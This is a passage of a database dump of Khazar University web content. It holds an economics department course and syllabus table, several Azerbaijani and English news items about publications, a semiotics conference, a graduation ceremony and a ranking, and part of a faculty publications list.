310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Erkin Nəsirov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">13</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 450</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Human_Resource_Management%20_Sevinj_Sultanova.pdf\">İnsan resurslarıının idarə edilməsi (B)</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Sevinc Sultanova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">14</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 480</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Leadership_Rasul_Hajiyev.pdf\">Liderliyin prinsipləri və tətbiqi</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;MGT 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Rəsul Hacıyev</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">15</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;IB 440</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/International_Trade_Nijat_Grayev.pdf\">Dünya ticarət təşkilatı və beynəlxalq ticarət</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Nicat Quliyev  </td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">16</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 440</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Public_Finance___Ingilab%20Ahmadov.pdf\">Dövlət xərcləri və vergi inzibatçılığı</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 201</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;İnqilab Əhmədov</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">17&nbsp;</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;LAW 305</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Business%20Law-%20Fuad%20Aliyev.pdf\">İqtisadi və biznes hüququ</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 100</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Fuad Əliyev</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">18</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;FIN 350</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Money_Banking%20_Ayten_Axundova.pdf\">Pul, bank işi və maliyyə bazarları</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;FIN 310</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Aytən Axundova</td></tr><tr style=\"box-sizing:border-box;border-collapse:collapse;border:1px solid #cccccc\"><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">19</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;ECON 450</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Econometrics%20-%20Abdulla%20Alixanov.pdf\">Ekonometrika</a></td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;BSA 215</td><td style=\"box-sizing:border-box;padding:5px 5px 5px 10px;border-collapse:collapse;border-style:solid;vertical-align:top\">&nbsp;6</td><td>&nbsp;Abdulla Əlixanov</td></tr></tbody></table><em><br></em><p><em>MBA&nbsp;</em></p><br><table><tbody><tr><td>1</td><td>&nbsp;ACC 801</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Financial_Accounting_Niyazi_Abbasov.pdf\">Maliyyə uçotu</a></td><td>&nbsp;Yoxdur</td><td>&nbsp;6</td><td>&nbsp;Niyazi Abbasov&nbsp;</td></tr><tr><td>2</td><td>&nbsp;MGT 800</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Applied_Business_Statistics_Lala%20Ganiyeva.pdf\">Tətbiqi biznes statistikası</a></td><td>&nbsp;Yoxdur</td><td>&nbsp;6</td><td>&nbsp;Lalə Qəniyeva</td></tr><tr><td>3</td><td>&nbsp;ECON 830</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Managerial_Economics_Rashad_Huseynov.pdf\">Müəssisənin iqtisadiyyatı</a> &nbsp;<br></td><td>&nbsp;Yoxdur</td><td>&nbsp;6</td><td>&nbsp;Rəşad Hüseynov</td></tr><tr><td>4</td><td>&nbsp;MGT 810</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Strategic_Business_Communication%20_Shafa_Alasgarova.pdf\">Strateji biznes əlaqələri (ünsiyyət)</a></td><td>&nbsp;Yoxdur</td><td>&nbsp;6</td><td>&nbsp;Şəfa Ələsgərova</td></tr><tr><td>5</td><td>&nbsp;ECON 960</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Research_Methods_Lala_Ganiyeva.pdf\">Tədqiqat metodları</a></td><td>&nbsp;MGT 800</td><td>&nbsp;6</td><td>&nbsp;Lalə Qəniyeva  </td></tr><tr><td>6</td><td>&nbsp;IB 844</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/International_Trade%20fall%202017.pdf\">Dünya ticarət təşkilatı və beynəlxalq ticarət</a></td><td>&nbsp;ECON 830</td><td>&nbsp;6</td><td>&nbsp;Nicat Qarayev</td></tr><tr><td>7</td><td>&nbsp;FIN 850</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Financial_Markets_and_Institution_Nijat_Rasulov.pdf\">Maliyyə bazarları və institutları</a></td><td>&nbsp;FIN 830</td><td>&nbsp;6</td><td>&nbsp;Nicat Rəsulov</td></tr><tr><td>8</td><td>&nbsp;FIN 855 &nbsp;</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Taxation_Elnur_Eyvazov.pdf\">Vergi və vergi sistemi</a></td><td>&nbsp;ACC 801</td><td>&nbsp;6</td><td>&nbsp;Elnur Eyvazov</td></tr><tr><td>9</td><td>&nbsp;MGT 850</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Operations_Management_Rasul%20Hajiyev.pdf\">Əməliyyatların idarə edilməsi və logistika</a></td><td>&nbsp;ECON 830</td><td>&nbsp;6&nbsp;</td><td>&nbsp;Rəsul Hacıyev</td></tr><tr><td>10</td><td>&nbsp;MGT 830</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Organizational_Behavior_Nilufar%20Masimova.pdf\">Təşkilati davranış</a></td><td>&nbsp;Yoxdur</td><td>&nbsp;6</td><td>&nbsp;Nilufər Məsiyeva</td></tr><tr><td>11</td><td>&nbsp;MGT 845 &nbsp;</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Human_Resourse_Management_Shafa_Alasgarova.pdf\">İnsan resurslarının idarə edilməsi</a></td><td>&nbsp;Yoxdur</td><td>&nbsp;6</td><td>&nbsp;Şəfa Ələsgərova  </td></tr><tr><td>12</td><td>&nbsp;MKT 846</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Consumer_Behavior_Laman_Gayidova.pdf\">İstehlakçı davranışı</a></td><td>&nbsp;MKT 840</td><td>&nbsp;6</td><td>&nbsp;Ləman Qayıdova</td></tr><tr><td>13</td><td>&nbsp;MKT 838</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Advertising_Strategy_Laman_Gayidova.pdf\">Reklam strategiyası</a></td><td>&nbsp;MKT 840</td><td>&nbsp;6</td><td>&nbsp;Ləman Qayıdova</td></tr><tr><td>14</td><td>&nbsp;FIN 830</td><td>&nbsp;<a href=\"http://www.khazar.org/files/eco_depart/Financial_Management_Tarana_Azimova.pdf\">Maliyyə menecmenti</a></td><td>&nbsp;ACC 801</td><td>&nbsp;6</td><td>&nbsp;Təranə Əzimova</td></tr></tbody></table><div><p><br></p><p>İqtisadiyyat və menecment departamentinin müdiri&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Ceyhun Məmmədov</p></div>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em><br></em></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em><br></em></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em><br></em></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em><br></em></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em><br></em></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em><br></em></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em><br></em></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em><br></em></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><em></em></p>'),(4018,2346,'az','“Xəzər”in doktorantının tədqiqat işi Türkiyədə çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi, universitetin doktorantı Validə Kərimovanın...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan köməkçisi, universitetin doktorantı Validə Kərimovanın “Possibility of Foreign Languages in the Education System of Azerbaijan: Analysis of the Best Foreign Language among Students’in Higher Private Educational Institutions” (“Azərbaycanın təhsil sistemində xarici dil imkanı: özəl ali təhsil müəssisələrində tələbələr arasında ən yaxşı xarici dilin təhlili”) adlı tədqiqat işi Türkiyənin Sakarya şəhərində TOJQIH (The Online Journal of Quality in Higher Education) jurnalının iyul buraxılışında çap edilmişdir.</p><p>Qeyd edək ki, müəllif eyni adlı məruzə ilə 2016-cı il noyabrın 24-25-də Sakaryada keçirilən beynəlxalq konfransda (ICQH 2016) çıxış etmişdir.</p><p>Validə Kərimovanın tədqiqat işi 2015-2016-cı tədris ili müddətində Xəzər Universiteti və Qafqaz Universitetinin (hazırki Bakı Mühəndislik Universiteti) 301 tələbəsi arasında ən yaxşı xarici dilin təhlili mövzusunda aparılmış və iki özəl universitet tələbələri arasında ən yaxşı xarici dilin hansı olduğunu, xarici dili bilmə səviyyələrini müəyyənləşdirmişdir.</p><p>Tədqiqat işi ilə aşağıdakı linklər vasitəsilə tanış ola bilərsiniz: <a href=\"http://www.tojqih.net/journals/tojqih/articles/v04i03/v04i03-03.pdf\" target=\"_blank\">http://www.tojqih.net/journals/tojqih/articles/v04i03/v04i03-03.pdf</a> <a href=\"http://www.tojqih.net/journals/tojqih/volumes/tojqih-volume04-i03.pdf\" target=\"_blank\">http://www.tojqih.net/journals/tojqih/volumes/tojqih-volume04-i03.pdf</a></p>'),(4216,2481,'en','8th International Scientific Conference on Semiotics “Medium and the World”','On October 28th, 2017, the 8th International Scientific Conference on Semiotics, organized together...','<p>On October 28<sup>th</sup>, 2017, the 8<sup>th</sup> International Scientific Conference on Semiotics, organized together with Ilia State University of Georgia and Khazar University, will be held at Khazar University.</p><p>Medium and the World Conference aims to explore means of transmitting information in an age of info-glut and their impact on information and everyday life. This conference seeks to answer the following questions: How is the world transformed due to the impact of new “mediums” (digital media, new technology) and what is the role of humans in the paradigm of the world? Does the source of information change information? In what case is information changed? What is the difference between traditional and contemporary means of transmission of information?</p><p>Topics for submission include, but are not limited to:</p><p></p><ul><li>Semiotics of Language and Literature</li><li>Semiotics of Culture</li><li>History and Theory of Semiotics</li></ul><p></p><p>We would like to note our particular interest in the analysis of a cultural fact (literature, art, music, fashion, visual art etc.) as a special medium.</p><p>Conference participants are required to fill in the <strong><span style=\"text-decoration:underline\"><a href=\"/files/letters/application_form_for_semiotics.docx\">application form</a></span></strong> and send it along with the abstract (abstract requirements: not more than a page, A4 format, font – Sylfaen; size – 11) until October 10, 2017 to <a href=\"mailto:pbashirova@khazar.org\">pbashirova@khazar.org</a>.</p><p>Authors of the selected abstracts will be informed by e-mail about the acceptance of their abstract within ten days after the deadline;</p><p>After the conference, selected papers will be published in the 17th issue of the Semiotics scientific journal.</p><p>Working languages of the conference: Azerbaijani, Georgian, Russian and English. For additional information, please contact <a href=\"mailto:pbashirova@khazar.org\">pbashirova@khazar.org</a>.</p>'),(4214,2480,'az','Xəzər Universiteti məzunlarının “43-cü məzunluq mərasimi” keçiriləcək','2017-ci il oktyabrın 15-i saat 17:00-da Xəzər Universiteti məzunlarının “43-cü məzunluq mərasimi...','<p>2017-ci il oktyabrın 15-i saat 17:00-da Xəzər Universiteti məzunlarının “43-cü məzunluq mərasimi” Üzeyir Hacıbəyli adına Bakı Musiqi Akademiyasının Opera Studiyasında (Rəşid Behbudov küç., 41) keçiriləcək.</p><p>Maraqlananlar tədbirə dəvət olunurlar.</p><p>Qeyd edək ki, məzunların məşqi oktyabrın 14-ü saat 12:00-da Üzeyir Hacıbəyli adına Bakı Musiqi Akademiyasının Opera Studiyasında (Rəşid Behbudov küç., 41) keçiriləcək.</p>'),(4215,2480,'en','43rd Graduation Ceremony of Khazar University Graduates','On October 15, 2017, at 17:00, the 43rd Graduation Ceremony of Khazar University will be held...','<p>On October 15, 2017, at 17:00, the 43rd Graduation Ceremony of Khazar University will be held at the Opera Studio of Baku Music Academy (41 Rashid Behbudov Street; the entrance is between Music Gallery and Baku Jazz Center).</p><p>Those who wish to participate are welcome.</p><p>Please note that, the rehearsal will be held on October 14, at 12:00, at the Opera Studio of Baku Music Academy (41 Rashid Behbudov St).</p>'),(4014,2344,'az','AZƏRTAC Xəzər Universitetinin böyük uğuru haqqında xəbər yayıb','Azərbaycan Dövlət İnformasiya Agentliyi – AZƏRTAC iyulun 20-də Xəzər Universitetinin “QS Top 50 Under 50” beynəlxalq reytinq cədvəlində...','<p>Azərbaycan Dövlət İnformasiya Agentliyi – AZƏRTAC iyulun 20-də Xəzər Universitetinin “QS Top 50 Under 50” beynəlxalq reytinq cədvəlində tutduğu yüksək yer haqqında “Xəzər Universiteti dünya ali təhsil məkanında” adlı xəbər yayıb. Xəbərdə deyilir ki, dünyada ali təhsili dəyərləndirən beynəlxalq “QS” təşkilatı (“QS Top 50 Under 50”) illik universitet reytinqini açıqlayıb. Bu reytinq bütün dünya üzrə 50 ildən az fəaliyyət göstərən gənc universitetləri əhatə edir. Reytinqin əsas məqsədi yaşlarının az olmasına baxmayaraq artıq özünü sübut etmiş və uzun tarixə malik olan universitetlərlə yarışa biləcək ali məktəblərin dəyərləndirilməsidir. Dünyanın 53 ölkəsindən 150 ən yaxşı gənc universitet bu siyahıya daxil edilib. Xəzər Universiteti Azərbaycandan bu siyahıda yer alan yeganə universitetdir.</p><p>Xəzər Universiteti Middlesex Universiteti (Birləşmiş Krallıq), Dublin Texnologiya İnstitutu (İrlandiya), Bielefeld Universiteti (Almaniya), London Metropolitan Universiteti (Birləşmiş Krallıq), Nottingham Trent Universiteti (Birləşmiş Krallıq) və George Mason Universiteti (ABŞ) kimi tanınmış universitetlərlə bir sırada yer alıb. Xəzər Universitetindən AZƏRTAC-a bildirilib ki, keçmiş sovet ölkələrindən Azərbaycan, Qazaxıstan, Rusiya və Ukrayna bu siyahıda bir universitetlə təmsil olunub. Türkiyədən bu siyahıya dörd universitet (Bilkent Universiteti, Koç Universiteti, Sabancı Universiteti və Çukurova Universiteti) daxil edilib.</p><p>Dünyanın gənc universitetlərin fəaliyyəti elm və təhsil dünyasında, işəgötürənlər arasında nüfuzla, nəşr etdirdiyi elmi məqalələr və onlara istinadla, müəllim-tələbə, xarici müəllimlərin və tələbələrin nisbəti kimi meyarlar üzrə qiymətləndirilib.</p><p>Xəbəri bu linkdə oxumaq olar:</p><p><a href=\"http://azertag.az/xeber/Xezer_Universiteti_dunya_ali_tehsil_mekaninda-1079633#Kalibri\" title=\"azertac\" target=\"_blank\">http://azertag.az/xeber/Xezer_Universiteti_dunya_ali_tehsil_mekaninda-1079633#Kalibri</a></p>'),(442,282,'en','Research','Research','<p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>Publications</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>Richard Rousseau</strong></p>\r\n<strong style=\"text-align:justify\">BOOKS&nbsp;<st1:stockticker w:st=\"on\">AND</st1:stockticker>&nbsp;MONOGRAPHS<br></strong><p style=\"text-align: justify;\" margin-left:27.0pt;text-indent:-.25in\"=\"\">L’effondrement de l’Union soviétique; le rôle de la dégradation de l’environnement [The Collapse of the Soviet Union: The Role of Environmental Degradation], Presses de l\'Université Laval (Canada), 240 pages, 2012.&nbsp;</p>\r\n<p style=\"text-align: justify;\" margin-left:27.0pt;text-indent:-.25in\"=\"\">Corruption in Russia, Looming Consequences, and Potential Solutions, Ashgate, Aldershot, 200 pages, September 2013.</p>\r\n<p style=\"text-align:justify\"><strong>BOOK CHAPTERS</strong></p>\r\n<p style=\"text-align: justify;\" margin-left:27.0pt;text-indent:-.25in\"=\"\">Iranian and Iraqi Kurdistan: the Dilemma of the Disputed territories, in Bilgin, Fevzi (Ed.), The Kurdish Issue in Turkey, Georgetown University Press, 2013</p>\r\n<p style=\"text-align:justify\"><strong>REFEREED ARTICLES</strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Risks and Opportunities in Emerging Markets: The Cases of India and China, Journal of Global Analysis, Vol. 3, No. 2, 2012</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">The False Promise of Peace Processes: NATO-Russia Relations on the Eve of Putin’s Coming to Power (2000-2002),Current Politics and Economics of Russia, Eastern and Central Europe, Vol. 27, No. 1, 2013</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Central Asia: the complex management of water resources, The Caucasus &amp; Globalization (Sweden), March, 201</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Tulip Revolution in Kyrgyzstan: Real Revolution or State Collapse? Central Asia and the Caucasus (Sweden), January 2013.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Kazakhstan: Continuous Improvement or stalemate in its Relations with China? Strategic Analysis (Routledge Taylor &amp; Francis), Vol. 37, No. 1, January 2013.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Dimensions and Implications of Drug Trafficking and Consumption in Central Asia, Central Asia Survey, Volume 31, No. 4, 2012.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">China’s Growing Economic Presence in Ukraine and Belarus, Strategic Analysis (Routledge Taylor &amp; Francis) Vol. 36, No. 1, January 2012, p. 18-22.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">The Role of Media in the Two Russia-Chechnya Wars in the 1990s, Journal of Central Asia and the Caucasian Studies (JCACS), Vol. 6, No. 11, Winter 2012.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Strategic Perspectives: A Look at Clausewitz, Sun-Tzu and Thucydides, Khazar Journal of Humanities and Social Sciences, Vol. 15, No. 1, 2012.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">De la légalité et la légitimité de la «&nbsp;guerre préventive&nbsp;»,Khazar Journal of Humanities and Social Sciences, Vol. 14, No. 4, 2011.&nbsp;<a href=\"http://jas-khazar.org/wp-content/uploads/2012/02/01Richard-Rousseau-De-la-legalite-et-la-legitimite-de-la-guerre-preventive-Khazar-Journal1.pdf\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Competing Geopolitical Interests of China, Russia and the United States in Central Asia and the Caspian Region, Khazar Journal of Humanities and Social Sciences, Vol. 14, No. 3, 2011, pp 13-30. <a href=\"http://jas-khazar.org/wp-content/uploads/2011/11/02R-Rousseau-Competing-Geopolitical-Interests-of-China-Russia-Khazar-Journal1.pdf\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Shifts in Azerbaijan’s Foreign Policy Towards the Euro-Atlantic Alliance, GeoPolitica, Volume 40, No. 2, 2011. <a href=\"http://www.geopolitic.ro/rezumate%20geopolitica.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">The Drug Trade in Central and South Asia: The Northward Route Through Central Asia, Current Politics and Economics of South, Southeastern, and Central Asia, Vol. 21, No. 1, 2012.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Corporate Governance around the World: Anglo-Saxon Countries, Germany, Japan and Latin American Countries,&nbsp;IBSU Journal of Business, Vol. 2, (2), 2012. IBSU Journal of Social Studie<a></a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">The Europeanization of Security and Turkey’s Membership of the European Union, The Caucasus Journal of Social Sciences, Vol. 4, No. 2, Spring 2012.</p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:27.0pt;text-indent:-.25in;line-height:normal\"=\"\">Dimensions of Russian Foreign Policy towards Georgia between Vladimir Putin’s 2000 Election and the 2003 Rose Revolution, The Caucasus Journal of Social Sciences, Vol. 4, No. 1, Fall 2011.</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"text-align:justify\"><strong>Mukhtar Hajizada</strong><strong></strong></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:28.35pt;text-align:justify;text-indent:-.25in;background:white\"\"=\"\">‘New Regionalism in Europe’s Black Sea Region: Measuring and comparing intra- and cross-regional patterns of trade regionalisation’(2013),&nbsp;East European Politics, Special Issue Vol. 29, Issue 3. (co-authored with Florent Marciacq.)</p>\r\n<p style=\"text-align: justify;\" 